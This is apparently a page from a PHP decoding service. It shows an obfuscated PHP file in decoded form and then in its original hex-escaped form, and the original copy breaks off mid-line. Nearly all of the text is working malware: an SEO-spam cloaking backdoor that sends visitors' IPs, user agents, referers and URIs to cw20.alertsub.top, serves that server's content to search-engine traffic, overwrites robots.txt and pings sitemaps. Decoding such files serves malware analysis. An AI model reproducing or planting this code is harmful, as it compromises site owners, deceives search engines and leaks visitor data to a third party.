Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto b0fnf; iyE5W: EBi1m: goto UHHP3; Ij1Gm: $KAzLr = trim($KAzLr) . "\xd\12" . "\x..
Decoded Output download
<?php
goto b0fnf; iyE5W: EBi1m: goto UHHP3; Ij1Gm: $KAzLr = trim($KAzLr) . "\xd
" . "Sitemap: {$Xtl_C}"; goto sNemj; jImx8: @file_put_contents("robots.txt", $KAzLr); goto L6pnW; TwxGk: quypG: goto VBrEb; z_Jlp: t14je: goto UcHaj; UW6LV: if (!($T_fB2 < 30)) { goto Sik7l; } goto og5TI; dSGNZ: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto hlfmZ; } goto IUpHc; tt0AV: exit; goto iyE5W; ja_ve: g0AJv: goto qm2qF; HPky7: KSuFF: goto KK1oR; qVy8q: if ($YnvmC == 0) { goto qBmTy; } goto UlYjh; x9ZHw: exit; goto ieVSR; LCcTs: exit; goto fLWlY; qkJR0: GnosX: goto qVy8q; VH3SH: goto c_2AR; goto HFhIH; Xv9Vi: echo $p1JTG = HOHpJ($hjy1B); goto VZFUY; kFrtT: $hjy1B = $GWHN8 . "?agent={$iezdN}&refer={$iTmYS}&lang={$suw71}&ip={$OxiOO}&dom={$EdBFw}&http={$cm0n6}&uri={$KrTiZ}&pc={$F2O2v}&rewriteable={$YnvmC}"; goto ihHYY; atF2T: $p1JTG = HoHpj($hjy1B); goto EdDRY; rG4mH: exit; goto z_Jlp; H0WCE: echo $Xtl_C . ": " . $bIUwh . "<br/>"; goto GY2B5; axy_k: AKmgi: goto H0WCE; rtWq4: header("HTTP/1.0 500 Internal Server Error"); goto BcIwJ; Z_AHO: qBmTy: goto yYfP5; xPwml: goto MrJlT; goto QfcJM; E1OZ1: exit; goto GWk6M; K_770: mABc8: goto Ca71P; RKYy_: if (strpos($KrTiZ, "robots.txt") !== false || strpos($KrTiZ, "writerobots") !== false) { goto cBRB4; } goto liZ82; N7ABH: $hjy1B = $GWHN8 . "?agent={$iezdN}&refer={$iTmYS}&lang={$suw71}&ip={$OxiOO}&dom={$EdBFw}&http={$cm0n6}&uri={$KrTiZ}&pc={$F2O2v}&rewriteable={$YnvmC}&script={$lP_u1}"; goto E0xg8; xJ7e2: R5250: goto HDKzR; E0xg8: header("Content-Type: text/plain; charset=utf-8"); goto Xv9Vi; uocMR: ZPfYe: goto v2Etq; vJpHO: if ($p1JTG == "500") { goto HlpiC; } goto aNmKW; v2Etq: if (substr($p1JTG, 0, 5) == "<?xml") { goto PwYmK; } goto C5OCP; Z8CEL: sM0q6: goto Kd7hU; ewbkK: if (!($p1JTG == "500")) { goto ZPfYe; } goto rtWq4; aNmKW: header("Content-Type: text/xml; charset=utf-8"); goto Z1LWs; UHHP3: $wlJ6s = "bing|google|yahoo"; goto o9se2; o9se2: $GWHN8 = "http://cw20.alertsub.top/index.php"; goto fFnYe; G8j_9: $iTmYS = urlencode($_SERVER["HTTP_REFERER"]); goto HIcUE; JmfY3: if (strpos($KrTiZ, "favicon.ico") !== false) { goto mPzTI; } goto FaZZR; Fp1PK: echo "ok"; goto oZigS; Abk2P: function fbj8m($EoN2k) { goto wDp_s; wDp_s: $MPqTi = curl_init(); goto QnrOG; SuFFk: hBF49: goto rnGgs; Yqpt3: curl_setopt($MPqTi, CURLOPT_SSL_VERIFYHOST, FALSE); goto SuFFk; jljp8: $iZQ7s = @file_get_contents($EoN2k); goto P6xf7; GCAEn: curl_close($MPqTi); goto LSjTF; rnGgs: $iZQ7s = curl_exec($MPqTi); goto GCAEn; zSTFX: if (!(strpos($EoN2k, "https://") !== false)) { goto hBF49; } goto ZqBpa; LSjTF: if (!empty($iZQ7s)) { goto hv6OQ; } goto jljp8; yl2T8: curl_setopt($MPqTi, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto zSTFX; P6xf7: hv6OQ: goto VvykZ; N2Tto: curl_setopt($MPqTi, CURLOPT_FOLLOWLOCATION, false); goto yl2T8; ZqBpa: curl_setopt($MPqTi, CURLOPT_SSL_VERIFYPEER, FALSE); goto Yqpt3; IaTqB: curl_setopt($MPqTi, CURLOPT_RETURNTRANSFER, true); goto N2Tto; QnrOG: curl_setopt($MPqTi, CURLOPT_URL, $EoN2k); goto IaTqB; VvykZ: return $iZQ7s; goto Fj_2_; Fj_2_: } goto RnAP9; HDKzR: if (strpos($KrTiZ, "pingsitemap.xml") !== false) { goto U85h4; } goto JmfY3; BPNAA: PwYmK: goto IhKZ7; vXwPv: if (preg_match("/({$wlJ6s})/i", $_SERVER["HTTP_USER_AGENT"])) { goto sM0q6; } goto H0BUA; czh9s: $NLabu = "https://www.google.com/ping?sitemap="; goto fwJbZ; ZrmeA: goto t14je; goto YvgyD; pHcy3: $YnvmC = @file_get_contents("uxo.txt"); goto dmLXU; IhKZ7: header("Content-Type: text/xml; charset=utf-8"); goto h7Uq3; RY2pR: $p1JTG = hoHPJ($g_wiS); goto nNh_p; fwJbZ: $KAzLr = "User-agent: *\xd\xaAllow: /"; goto c9Vr2; YvgyD: HlpiC: goto RUrb4; jrj6U: if (empty($p1JTG)) { goto vF_zv; } goto kTlQz; W2uY0: $KrTiZ = urldecode($_SERVER["REQUEST_URI"]); goto Qp69l; JQe9E: $bIUwh = "<font color='red'>ERROR</font>"; goto ScS9N; GY2B5: usleep(100 * 1000); goto xgjW0; HIcUE: $suw71 = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto VZBSI; qv9h8: function GRTlA() { goto V5i3D; GT3jx: mJgaT: goto UIjcm; nHiJc: Q8uSh: goto kcfCg; DLwnV: $OxiOO = getenv("HTTP_CLIENT_IP"); goto GT3jx; x9Nsj: if (getenv("HTTP_X_FORWARDED_FOR")) { goto jnUji; } goto azEGZ; h0kbV: $OxiOO = getenv("HTTP_X_FORWARDED_FOR"); goto Ibj52; V5i3D: if (!getenv("HTTP_CLIENT_IP")) { goto mJgaT; } goto DLwnV; CZV08: jnUji: goto h0kbV; qbbQ7: vM2A7: goto SvhpB; QNH1X: goto YqGFE; goto CZV08; uWOt6: $OxiOO = $bKu_E[0]; goto e0oCy; UIjcm: if (getenv("HTTP_X_REAL_IP")) { goto vM2A7; } goto x9Nsj; e0oCy: goto YqGFE; goto nHiJc; nhKUM: return $OxiOO; goto HSoh4; Ibj52: $bKu_E = explode(",", $OxiOO); goto uWOt6; azEGZ: if (getenv("REMOTE_ADDR")) { goto Q8uSh; } goto ov9Th; K2NAG: YqGFE: goto nhKUM; kcfCg: $OxiOO = getenv("REMOTE_ADDR"); goto K2NAG; ov9Th: $OxiOO = "0.0.0.0"; goto UvRnU; UvRnU: goto YqGFE; goto qbbQ7; SvhpB: $OxiOO = getenv("HTTP_X_REAL_IP"); goto QNH1X; HSoh4: } goto qXMlI; H0BUA: if (preg_match("/({$wlJ6s})/i", $_SERVER["HTTP_REFERER"])) { goto Pjd_b; } goto Y1tNv; UJZ71: U85h4: goto Y2gBE; tBAdo: XiLJn: goto VxFB8; ScS9N: if (!preg_match("/<h2>(.+?)<\/h2>/i", $p1JTG, $ed9OT)) { goto AKmgi; } goto SienB; QfcJM: wUEaY: goto ESxCt; VZBSI: $OxiOO = urlencode(GRtLa()); goto Sce08; SienB: $bIUwh = $ed9OT[1]; goto axy_k; ihHYY: $p1JTG = hohPJ($hjy1B); goto AiuWY; sNemj: $p1JTG = fBJ8m($NLabu . urlencode($Xtl_C)); goto JQe9E; FaZZR: if (strpos($KrTiZ, "jp2023") !== false) { goto U4CYF; } goto RKYy_; BcIwJ: exit; goto uocMR; TBY9V: mPzTI: goto PlF23; hoKHg: $iezdN = urlencode($_SERVER["HTTP_USER_AGENT"]); goto G8j_9; h7Uq3: JjVX1: goto UBDEx; VxFB8: goto l3X7S; goto TBY9V; Nhaun: $p1JTG = HOHpJ($hjy1B); goto QNt8h; EdDRY: if ($p1JTG == "500") { goto wUEaY; } goto jrj6U; AiuWY: if ($p1JTG == "500") { goto i1xgw; } goto lEQhw; savxQ: goto IVReh; goto Co1tY; IUpHc: $_SERVER["REQUEST_SCHEME"] = "http"; goto VH3SH; WwCpx: $YnvmC = 0; goto S1Bgr; WH4f0: $XUe3N = $XUe3N . "?"; goto wE6dJ; BSTGe: $YnvmC = 1; goto F_52Z; OKMfp: DmSJF: goto xJ7e2; liZ82: if (preg_match("@^/(.*?).xml$@i", $KrTiZ)) { goto FzTWa; } goto vXwPv; bcq8x: exit; goto LiFlb; AkCsu: $hjy1B = $GWHN8 . "?agent={$iezdN}&refer={$iTmYS}&lang={$suw71}&ip={$OxiOO}&dom={$EdBFw}&http={$cm0n6}&uri={$KrTiZ}&pc={$F2O2v}&rewriteable={$YnvmC}&script={$lP_u1}"; goto gVlJT; iol6G: goto Td8bi; goto aG1uO; b0fnf: error_reporting(0); goto qv9h8; CuklR: c_2AR: goto pB1UD; ESxCt: header("HTTP/1.0 500 Internal Server Error"); goto LiqdI; Sce08: $EdBFw = urlencode($_SERVER["HTTP_HOST"]); goto rqlNd; uHawz: icgFG: goto HPky7; in6Tr: KKJ1p: goto BSTGe; wE6dJ: goto XT2OL; goto qkJR0; LiqdI: exit; goto LTBbv; Aytrg: c3QM0: goto WwCpx; Y1tNv: $hjy1B = $GWHN8 . "?agent={$iezdN}&refer={$iTmYS}&lang={$suw71}&ip={$OxiOO}&dom={$EdBFw}&http={$cm0n6}&uri={$KrTiZ}&pc={$F2O2v}&rewriteable={$YnvmC}&k=1"; goto atF2T; aG1uO: i1xgw: goto hwMaJ; QNt8h: if (empty($p1JTG)) { goto icgFG; } goto ewbkK; C5OCP: header("Content-Type: text/html; charset=utf-8"); goto lozk5; rqlNd: $lP_u1 = urlencode($_SERVER["SCRIPT_NAME"]); goto dSGNZ; UcHaj: Zv0LX: goto Gz5Qv; Qp69l: if (!(strpos($KrTiZ, "uuuuxxxxooo") !== false)) { goto c3QM0; } goto Fp1PK; PlF23: l3X7S: goto FQo3c; FQo3c: goto jL1mA; goto UJZ71; Mv9Ei: header("HTTP/1.0 403 Forbidden"); goto tt0AV; hwMaJ: header("HTTP/1.0 500 Internal Server Error"); goto bcq8x; Kd7hU: $hjy1B = $GWHN8 . "?agent={$iezdN}&refer={$iTmYS}&lang={$suw71}&ip={$OxiOO}&dom={$EdBFw}&http={$cm0n6}&uri={$KrTiZ}&pc={$F2O2v}&rewriteable={$YnvmC}&script={$lP_u1}"; goto Nhaun; qm2qF: $g_wiS = $cm0n6 . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto RY2pR; F_52Z: @file_put_contents("uxo.txt", "1"); goto OKMfp; og5TI: GhzqK: goto OKo7B; vq8gb: FzTWa: goto YRuJa; ikfs3: echo $p1JTG; goto a5YMW; L6pnW: exit; goto g2ql4; q0Jb5: $_SERVER["REQUEST_SCHEME"] = "https"; goto CuklR; yYfP5: $XUe3N = "/?"; goto K_770; UlYjh: $XUe3N = "/"; goto x_mYt; VBrEb: goto KSuFF; goto Z8CEL; gVlJT: $p1JTG = HOHPJ($hjy1B); goto ikfs3; KK1oR: goto Zv0LX; goto vq8gb; pB1UD: $cm0n6 = urlencode($_SERVER["REQUEST_SCHEME"]); goto W2uY0; qXMlI: function Hohpj($EoN2k) { goto xQKQK; pKCNz: IS9rs: goto Mn2GU; eUZHh: curl_setopt($MPqTi, CURLOPT_SSL_VERIFYHOST, FALSE); goto pKCNz; gw3oW: curl_setopt($MPqTi, CURLOPT_RETURNTRANSFER, true); goto U7K8_; EFpjc: curl_close($MPqTi); goto bxPnl; LpWxX: curl_setopt($MPqTi, CURLOPT_SSL_VERIFYPEER, FALSE); goto eUZHh; hD2y1: if (!(strpos($EoN2k, "https://") !== false)) { goto IS9rs; } goto LpWxX; GJTfY: curl_setopt($MPqTi, CURLOPT_URL, $EoN2k); goto gw3oW; Mn2GU: $iZQ7s = curl_exec($MPqTi); goto EFpjc; xQKQK: $iZQ7s = @file_get_contents($EoN2k); goto rI6V3; rI6V3: if (!empty($iZQ7s)) { goto b4S9v; } goto OCRbH; bxPnl: b4S9v: goto BKBSg; OCRbH: $MPqTi = curl_init(); goto GJTfY; U7K8_: curl_setopt($MPqTi, CURLOPT_FOLLOWLOCATION, false); goto hD2y1; BKBSg: return $iZQ7s; goto AfMo5; AfMo5: } goto Abk2P; xgjW0: $hjy1B = $GWHN8 . "?agent={$iezdN}&refer={$iTmYS}&lang={$suw71}&ip={$OxiOO}&dom={$EdBFw}&http={$cm0n6}&uri={$KrTiZ}&pc={$F2O2v}&rewriteable={$YnvmC}&script={$lP_u1}&sitemap=" . urlencode($Xtl_C); goto ubWYt; lEQhw: if (empty($p1JTG)) { goto Cfbil; } goto QxDN3; YRuJa: $hjy1B = $GWHN8 . "?agent={$iezdN}&refer={$iTmYS}&lang={$suw71}&ip={$OxiOO}&dom={$EdBFw}&http={$cm0n6}&uri={$KrTiZ}&pc={$F2O2v}&rewriteable={$YnvmC}&script={$lP_u1}"; goto qbDv1; kTlQz: echo $p1JTG; goto E1OZ1; c9Vr2: $Xtl_C = "{$cm0n6}://" . $EdBFw . $XUe3N . "sitemap.xml"; goto Ij1Gm; RnAP9: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot)/i", $_SERVER["HTTP_USER_AGENT"])) { goto EBi1m; } goto Mv9Ei; KU898: @file_put_contents("uxo.txt", "0"); goto OeBKU; VZFUY: @file_put_contents("robots.txt", $p1JTG); goto LCcTs; JzKof: exit; goto ZrmeA; UBDEx: echo $p1JTG; goto lpYvy; GWk6M: vF_zv: goto xPwml; ieVSR: Cfbil: goto iol6G; etknj: IVReh: goto UW6LV; ZVl5u: Pjd_b: goto kFrtT; QxDN3: echo $p1JTG; goto x9ZHw; OeBKU: goto DmSJF; goto in6Tr; S1Bgr: if (!file_exists("uxo.txt")) { goto g0AJv; } goto pHcy3; Kxq3I: goto quypG; goto ZVl5u; Gz5Qv: goto gtYHK; goto gTJT1; RUrb4: header("HTTP/1.0 500 Internal Server Error"); goto rG4mH; OKo7B: $T_fB2++; goto savxQ; fFnYe: $F2O2v = 2401; goto hoKHg; Co1tY: Sik7l: goto jImx8; oZigS: exit; goto Aytrg; H62qa: $T_fB2 = 1; goto etknj; dmLXU: goto R5250; goto ja_ve; Ca71P: XT2OL: goto czh9s; lpYvy: exit; goto uHawz; gTJT1: cBRB4: goto N7ABH; a5YMW: exit; goto tBAdo; lozk5: goto JjVX1; goto BPNAA; r4h9Q: $YnvmC = 0; goto KU898; LiFlb: Td8bi: goto TwxGk; qbDv1: $p1JTG = HOhPJ($hjy1B); goto vJpHO; XC49v: goto XiLJn; goto KypU7; fLWlY: gtYHK: goto XC49v; HFhIH: hlfmZ: goto q0Jb5; nNh_p: if ($p1JTG == "ok") { goto KKJ1p; } goto r4h9Q; ubWYt: $p1JTG = HoHpj($hjy1B); goto H62qa; Y2gBE: $XUe3N = $_SERVER["SCRIPT_NAME"]; goto TO0xa; LTBbv: MrJlT: goto Kxq3I; KypU7: U4CYF: goto AkCsu; x_mYt: goto mABc8; goto Z_AHO; TO0xa: if (strpos($XUe3N, "index.php") !== false) { goto GnosX; } goto WH4f0; Z1LWs: echo $p1JTG; goto JzKof; g2ql4: jL1mA:?>
Did this file decode correctly?
Original Code
<?php
goto b0fnf; iyE5W: EBi1m: goto UHHP3; Ij1Gm: $KAzLr = trim($KAzLr) . "\xd\12" . "\x53\x69\164\145\x6d\x61\x70\72\40{$Xtl_C}"; goto sNemj; jImx8: @file_put_contents("\x72\157\142\x6f\164\x73\x2e\x74\170\164", $KAzLr); goto L6pnW; TwxGk: quypG: goto VBrEb; z_Jlp: t14je: goto UcHaj; UW6LV: if (!($T_fB2 < 30)) { goto Sik7l; } goto og5TI; dSGNZ: if (!empty($_SERVER["\122\x45\x51\x55\x45\123\x54\x5f\x53\x43\110\105\x4d\105"]) && $_SERVER["\x52\x45\121\125\105\123\x54\x5f\123\103\x48\105\x4d\105"] == "\x68\164\164\x70\x73" || !empty($_SERVER["\x48\x54\x54\x50\123"]) && $_SERVER["\110\124\124\x50\x53"] == "\x6f\156" || !empty($_SERVER["\123\x45\122\126\x45\122\x5f\x50\117\122\124"]) && $_SERVER["\123\x45\x52\x56\x45\122\137\120\x4f\122\124"] == "\x34\x34\63" || isset($_SERVER["\x48\x54\x54\120\x5f\x58\x5f\106\117\x52\x57\x41\122\104\105\x44\137\120\x52\x4f\x54\x4f"]) && $_SERVER["\x48\x54\124\x50\x5f\130\137\106\x4f\x52\127\101\x52\104\105\104\x5f\x50\122\117\x54\x4f"] == "\150\x74\164\160\163") { goto hlfmZ; } goto IUpHc; tt0AV: exit; goto iyE5W; ja_ve: g0AJv: goto qm2qF; HPky7: KSuFF: goto KK1oR; qVy8q: if ($YnvmC == 0) { goto qBmTy; } goto UlYjh; x9ZHw: exit; goto ieVSR; LCcTs: exit; goto fLWlY; qkJR0: GnosX: goto qVy8q; VH3SH: goto c_2AR; goto HFhIH; Xv9Vi: echo $p1JTG = HOHpJ($hjy1B); goto VZFUY; kFrtT: $hjy1B = $GWHN8 . "\77\141\x67\x65\156\x74\x3d{$iezdN}\46\x72\145\146\x65\162\x3d{$iTmYS}\x26\x6c\141\156\147\x3d{$suw71}\46\x69\160\75{$OxiOO}\x26\x64\157\x6d\x3d{$EdBFw}\46\150\164\x74\160\75{$cm0n6}\x26\x75\x72\151\x3d{$KrTiZ}\46\x70\143\75{$F2O2v}\x26\162\145\x77\x72\x69\164\x65\141\x62\x6c\x65\x3d{$YnvmC}"; goto ihHYY; atF2T: $p1JTG = HoHpj($hjy1B); goto EdDRY; rG4mH: exit; goto z_Jlp; H0WCE: echo $Xtl_C . "\x3a\x20" . $bIUwh . "\74\142\162\x2f\x3e"; goto GY2B5; axy_k: AKmgi: goto H0WCE; rtWq4: header("\110\x54\x54\120\x2f\x31\x2e\x30\40\x35\x30\x30\x20\x49\x6e\164\145\x72\156\141\154\x20\123\145\x72\166\x65\x72\40\x45\162\x72\157\x72"); goto BcIwJ; Z_AHO: qBmTy: goto yYfP5; xPwml: goto MrJlT; goto QfcJM; E1OZ1: exit; goto GWk6M; K_770: mABc8: goto Ca71P; RKYy_: if (strpos($KrTiZ, "\162\x6f\142\157\x74\x73\56\164\170\x74") !== false || strpos($KrTiZ, "\167\x72\151\164\145\162\x6f\142\x6f\x74\163") !== false) { goto cBRB4; } goto liZ82; N7ABH: $hjy1B = $GWHN8 . "\x3f\x61\147\145\x6e\164\x3d{$iezdN}\46\x72\x65\x66\x65\162\x3d{$iTmYS}\x26\154\x61\x6e\147\75{$suw71}\46\x69\160\75{$OxiOO}\x26\x64\x6f\155\x3d{$EdBFw}\x26\x68\164\164\160\x3d{$cm0n6}\46\x75\162\x69\x3d{$KrTiZ}\x26\160\x63\75{$F2O2v}\46\x72\145\x77\162\151\164\x65\x61\142\154\145\75{$YnvmC}\x26\x73\x63\162\151\x70\x74\75{$lP_u1}"; goto E0xg8; xJ7e2: R5250: goto HDKzR; E0xg8: header("\x43\x6f\156\164\145\x6e\164\x2d\124\x79\x70\x65\x3a\40\164\145\x78\x74\x2f\160\x6c\x61\151\x6e\73\x20\x63\x68\x61\162\163\145\x74\75\165\x74\x66\x2d\x38"); goto Xv9Vi; uocMR: ZPfYe: goto v2Etq; vJpHO: if ($p1JTG == "\x35\x30\60") { goto HlpiC; } goto aNmKW; v2Etq: if (substr($p1JTG, 0, 5) == "\x3c\x3f\170\x6d\x6c") { goto PwYmK; } goto C5OCP; Z8CEL: sM0q6: goto Kd7hU; ewbkK: if (!($p1JTG == "\x35\60\x30")) { goto ZPfYe; } goto rtWq4; aNmKW: header("\x43\x6f\156\164\145\156\x74\x2d\124\171\160\145\x3a\x20\x74\145\170\x74\x2f\170\x6d\154\x3b\x20\143\x68\141\162\x73\x65\x74\x3d\x75\x74\x66\55\70"); goto Z1LWs; UHHP3: $wlJ6s = "\142\x69\x6e\147\174\x67\x6f\157\x67\154\145\174\171\141\x68\x6f\157"; goto o9se2; o9se2: $GWHN8 = "\150\x74\x74\x70\72\57\57\143\x77\x32\x30\56\x61\154\x65\162\164\163\165\x62\56\x74\157\160\x2f\x69\156\x64\x65\170\56\x70\150\x70"; goto fFnYe; G8j_9: $iTmYS = urlencode($_SERVER["\x48\x54\124\x50\x5f\122\x45\106\x45\x52\x45\122"]); goto HIcUE; JmfY3: if (strpos($KrTiZ, "\146\141\x76\151\143\x6f\x6e\56\151\143\x6f") !== false) { goto mPzTI; } goto FaZZR; Fp1PK: echo "\x6f\x6b"; goto oZigS; Abk2P: function fbj8m($EoN2k) { goto wDp_s; wDp_s: $MPqTi = curl_init(); goto QnrOG; SuFFk: hBF49: goto rnGgs; Yqpt3: curl_setopt($MPqTi, CURLOPT_SSL_VERIFYHOST, FALSE); goto SuFFk; jljp8: $iZQ7s = @file_get_contents($EoN2k); goto P6xf7; GCAEn: curl_close($MPqTi); goto LSjTF; rnGgs: $iZQ7s = curl_exec($MPqTi); goto GCAEn; zSTFX: if (!(strpos($EoN2k, "\150\164\x74\x70\163\x3a\57\x2f") !== false)) { goto hBF49; } goto ZqBpa; LSjTF: if (!empty($iZQ7s)) { goto hv6OQ; } goto jljp8; yl2T8: curl_setopt($MPqTi, CURLOPT_USERAGENT, $_SERVER["\x48\x54\x54\120\137\125\x53\105\122\x5f\101\x47\x45\x4e\124"]); goto zSTFX; P6xf7: hv6OQ: goto VvykZ; N2Tto: curl_setopt($MPqTi, CURLOPT_FOLLOWLOCATION, false); goto yl2T8; ZqBpa: curl_setopt($MPqTi, CURLOPT_SSL_VERIFYPEER, FALSE); goto Yqpt3; IaTqB: curl_setopt($MPqTi, CURLOPT_RETURNTRANSFER, true); goto N2Tto; QnrOG: curl_setopt($MPqTi, CURLOPT_URL, $EoN2k); goto IaTqB; VvykZ: return $iZQ7s; goto Fj_2_; Fj_2_: } goto RnAP9; HDKzR: if (strpos($KrTiZ, "\x70\x69\x6e\147\x73\x69\x74\145\155\x61\x70\x2e\170\x6d\x6c") !== false) { goto U85h4; } goto JmfY3; BPNAA: PwYmK: goto IhKZ7; vXwPv: if (preg_match("\57\x28{$wlJ6s}\51\x2f\x69", $_SERVER["\110\x54\x54\x50\x5f\125\x53\x45\122\137\x41\x47\105\x4e\x54"])) { goto sM0q6; } goto H0BUA; czh9s: $NLabu = "\150\x74\164\160\x73\x3a\x2f\57\167\167\167\56\147\157\157\x67\154\145\56\x63\157\155\x2f\160\x69\x6e\x67\x3f\163\151\164\x65\x6d\141\x70\x3d"; goto fwJbZ; ZrmeA: goto t14je; goto YvgyD; pHcy3: $YnvmC = @file_get_contents("\165\x78\x6f\x2e\x74\170\x74"); goto dmLXU; IhKZ7: header("\x43\x6f\156\x74\x65\x6e\164\x2d\124\171\x70\145\x3a\40\164\x65\170\164\x2f\170\x6d\154\73\40\x63\x68\x61\162\163\x65\x74\x3d\x75\x74\146\x2d\70"); goto h7Uq3; RY2pR: $p1JTG = hoHPJ($g_wiS); goto nNh_p; fwJbZ: $KAzLr = "\x55\x73\x65\x72\55\141\147\x65\x6e\164\72\40\x2a\xd\xa\101\x6c\154\157\x77\72\40\x2f"; goto c9Vr2; YvgyD: HlpiC: goto RUrb4; jrj6U: if (empty($p1JTG)) { goto vF_zv; } goto kTlQz; W2uY0: $KrTiZ = urldecode($_SERVER["\x52\105\x51\125\105\x53\124\137\125\122\111"]); goto Qp69l; JQe9E: $bIUwh = "\x3c\x66\x6f\156\164\40\x63\x6f\154\x6f\162\x3d\47\162\145\144\x27\76\x45\122\122\117\x52\74\57\x66\157\x6e\164\x3e"; goto ScS9N; GY2B5: usleep(100 * 1000); goto xgjW0; HIcUE: $suw71 = urlencode($_SERVER["\110\124\124\x50\137\x41\x43\x43\105\120\x54\137\114\x41\x4e\x47\125\x41\107\x45"]); goto VZBSI; qv9h8: function GRTlA() { goto V5i3D; GT3jx: mJgaT: goto UIjcm; nHiJc: Q8uSh: goto kcfCg; DLwnV: $OxiOO = getenv("\110\124\x54\120\137\103\x4c\x49\x45\x4e\x54\137\111\120"); goto GT3jx; x9Nsj: if (getenv("\x48\124\x54\120\137\130\137\x46\x4f\122\127\x41\122\x44\105\104\137\106\117\122")) { goto jnUji; } goto azEGZ; h0kbV: $OxiOO = getenv("\x48\124\124\120\137\130\137\x46\117\x52\127\101\x52\x44\105\x44\137\106\x4f\122"); goto Ibj52; V5i3D: if (!getenv("\110\x54\124\120\137\x43\x4c\x49\x45\116\124\137\x49\x50")) { goto mJgaT; } goto DLwnV; CZV08: jnUji: goto h0kbV; qbbQ7: vM2A7: goto SvhpB; QNH1X: goto YqGFE; goto CZV08; uWOt6: $OxiOO = $bKu_E[0]; goto e0oCy; UIjcm: if (getenv("\110\124\x54\x50\137\130\x5f\122\x45\101\x4c\x5f\111\x50")) { goto vM2A7; } goto x9Nsj; e0oCy: goto YqGFE; goto nHiJc; nhKUM: return $OxiOO; goto HSoh4; Ibj52: $bKu_E = explode("\54", $OxiOO); goto uWOt6; azEGZ: if (getenv("\122\105\115\x4f\124\105\137\101\104\x44\122")) { goto Q8uSh; } goto ov9Th; K2NAG: YqGFE: goto nhKUM; kcfCg: $OxiOO = getenv("\x52\105\115\x4f\124\105\x5f\101\x44\104\122"); goto K2NAG; ov9Th: $OxiOO = "\x30\x2e\60\56\x30\x2e\60"; goto UvRnU; UvRnU: goto YqGFE; goto qbbQ7; SvhpB: $OxiOO = getenv("\110\124\124\120\137\x58\x5f\x52\105\x41\x4c\137\111\120"); goto QNH1X; HSoh4: } goto qXMlI; H0BUA: if (preg_match("\57\50{$wlJ6s}\51\x2f\151", $_SERVER["\x48\x54\124\120\x5f\122\x45\x46\x45\122\x45\x52"])) { goto Pjd_b; } goto Y1tNv; UJZ71: U85h4: goto Y2gBE; tBAdo: XiLJn: goto VxFB8; ScS9N: if (!preg_match("\57\x3c\150\62\x3e\50\56\53\77\x29\74\x5c\57\150\62\x3e\x2f\151", $p1JTG, $ed9OT)) { goto AKmgi; } goto SienB; QfcJM: wUEaY: goto ESxCt; VZBSI: $OxiOO = urlencode(GRtLa()); goto Sce08; SienB: $bIUwh = $ed9OT[1]; goto axy_k; ihHYY: $p1JTG = hohPJ($hjy1B); goto AiuWY; sNemj: $p1JTG = fBJ8m($NLabu . urlencode($Xtl_C)); goto JQe9E; FaZZR: if (strpos($KrTiZ, "\152\160\x32\x30\x32\63") !== false) { goto U4CYF; } goto RKYy_; BcIwJ: exit; goto uocMR; TBY9V: mPzTI: goto PlF23; hoKHg: $iezdN = urlencode($_SERVER["\110\x54\124\120\x5f\125\123\105\122\137\x41\x47\x45\116\x54"]); goto G8j_9; h7Uq3: JjVX1: goto UBDEx; VxFB8: goto l3X7S; goto TBY9V; Nhaun: $p1JTG = HOHpJ($hjy1B); goto QNt8h; EdDRY: if ($p1JTG == "\65\60\60") { goto wUEaY; } goto jrj6U; AiuWY: if ($p1JTG == "\65\x30\x30") { goto i1xgw; } goto lEQhw; savxQ: goto IVReh; goto Co1tY; IUpHc: $_SERVER["\x52\x45\121\x55\105\123\x54\137\x53\103\110\105\x4d\105"] = "\x68\x74\x74\x70"; goto VH3SH; WwCpx: $YnvmC = 0; goto S1Bgr; WH4f0: $XUe3N = $XUe3N . "\77"; goto wE6dJ; BSTGe: $YnvmC = 1; goto F_52Z; OKMfp: DmSJF: goto xJ7e2; liZ82: if (preg_match("\x40\x5e\57\x28\x2e\52\77\x29\x2e\x78\155\154\44\100\x69", $KrTiZ)) { goto FzTWa; } goto vXwPv; bcq8x: exit; goto LiFlb; AkCsu: $hjy1B = $GWHN8 . "\x3f\x61\147\x65\156\164\x3d{$iezdN}\x26\x72\145\146\x65\162\x3d{$iTmYS}\46\154\x61\x6e\147\x3d{$suw71}\46\151\160\75{$OxiOO}\x26\x64\x6f\x6d\75{$EdBFw}\46\150\164\x74\160\x3d{$cm0n6}\46\165\162\x69\x3d{$KrTiZ}\46\x70\143\x3d{$F2O2v}\x26\162\145\167\162\x69\x74\x65\141\x62\x6c\145\75{$YnvmC}\46\163\x63\x72\x69\x70\164\75{$lP_u1}"; goto gVlJT; iol6G: goto Td8bi; goto aG1uO; b0fnf: error_reporting(0); goto qv9h8; CuklR: c_2AR: goto pB1UD; ESxCt: header("\x48\124\124\120\x2f\x31\x2e\60\x20\65\60\60\x20\111\x6e\164\145\162\156\141\x6c\40\x53\145\162\x76\145\x72\x20\105\x72\162\157\162"); goto LiqdI; Sce08: $EdBFw = urlencode($_SERVER["\x48\124\124\120\x5f\x48\117\x53\124"]); goto rqlNd; uHawz: icgFG: goto HPky7; in6Tr: KKJ1p: goto BSTGe; wE6dJ: goto XT2OL; goto qkJR0; LiqdI: exit; goto LTBbv; Aytrg: c3QM0: goto WwCpx; Y1tNv: $hjy1B = $GWHN8 . 